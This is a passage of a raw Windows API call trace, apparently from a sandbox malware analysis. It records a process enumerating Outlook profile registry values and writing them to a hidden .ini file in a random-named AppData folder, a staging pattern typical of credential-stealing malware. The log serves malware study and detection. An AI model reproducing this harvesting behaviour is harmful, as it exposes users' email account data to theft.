out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.668] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.668] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.668] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x14, ByteOffset=0x29ce14*=400, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.668] NtClose (Handle=0xc4) returned 0x0 [0161.669] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x7, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x8000001a [0161.669] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29cf34, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.669] NtCreateFile (in: FileHandle=0x29cf54, DesiredAccess=0x12019f, ObjectAttributes=0x29cf1c*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cf3c, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cf54*=0xc4, IoStatusBlock=0x29cf3c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.669] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cf3c, FileInformation=0x29ce94, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cf3c, FileInformation=0x29ce94) returned 0x0 [0161.669] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cf3c, Buffer=0x308730*, Length=0x4, ByteOffset=0x29ceac*=420, Key=0x0 | out: IoStatusBlock=0x29cf3c, Buffer=0x308730*) returned 0x0 [0161.669] NtClose (Handle=0xc4) returned 0x0 [0161.669] NtClose (Handle=0xc0) returned 0x0 [0161.670] NtEnumerateKey (in: KeyHandle=0xbc, Index=0x1, KeyInformationClass=0x0, KeyInformation=0x29d394, Length=0x400, ResultLength=0x29dbf0 | out: KeyInformation=0x29d394, ResultLength=0x29dbf0) returned 0x0 [0161.670] NtCreateKey (in: KeyHandle=0x29dbe4, DesiredAccess=0x20219, ObjectAttributes=0x29cf4c*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29dbe4*=0xc0) returned 0x0 [0161.670] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x0, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.670] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.670] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.670] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.670] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0xc, ByteOffset=0x29ce14*=424, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.670] NtClose (Handle=0xc4) returned 0x0 [0161.670] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.670] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.671] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.671] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x52, ByteOffset=0x29ce14*=436, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.671] NtClose (Handle=0xc4) returned 0x0 [0161.671] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x1, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.671] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.671] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.671] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.671] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x12, ByteOffset=0x29ce14*=518, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.671] NtClose (Handle=0xc4) returned 0x0 [0161.681] RtlIntegerToChar (in: Value=0x29c36796, Base=0x0, Length=0x20, String=0x29cefc | out: String="700671894") returned 0x0 [0161.681] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.681] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.681] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.681] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x16, ByteOffset=0x29ce14*=536, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.681] NtClose (Handle=0xc4) returned 0x0 [0161.681] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x2, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.682] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.682] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.682] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.682] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x1a, ByteOffset=0x29ce14*=558, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.682] NtClose (Handle=0xc4) returned 0x0 [0161.682] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.682] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.682] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.682] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x22, ByteOffset=0x29ce14*=584, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.683] NtClose (Handle=0xc4) returned 0x0 [0161.683] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x3, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.683] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.683] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.683] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.683] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x1a, ByteOffset=0x29ce14*=618, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.683] NtClose (Handle=0xc4) returned 0x0 [0161.684] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.684] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.684] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.684] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x1c, ByteOffset=0x29ce14*=644, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.684] NtClose (Handle=0xc4) returned 0x0 [0161.684] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x4, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.684] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.684] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.685] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.685] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0xc, ByteOffset=0x29ce14*=672, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.685] NtClose (Handle=0xc4) returned 0x0 [0161.685] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.685] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.685] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.685] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x22, ByteOffset=0x29ce14*=684, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.685] NtClose (Handle=0xc4) returned 0x0 [0161.686] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x5, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.686] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.686] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.686] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.686] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x18, ByteOffset=0x29ce14*=718, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.686] NtClose (Handle=0xc4) returned 0x0 [0161.687] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.687] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.687] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.687] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x10, ByteOffset=0x29ce14*=742, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.687] NtClose (Handle=0xc4) returned 0x0 [0161.687] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x6, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.687] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.688] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.688] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.688] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x18, ByteOffset=0x29ce14*=758, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.688] NtClose (Handle=0xc4) returned 0x0 [0161.688] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.688] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.688] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.688] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0xe, ByteOffset=0x29ce14*=782, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.688] NtClose (Handle=0xc4) returned 0x0 [0161.689] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x7, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.689] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: 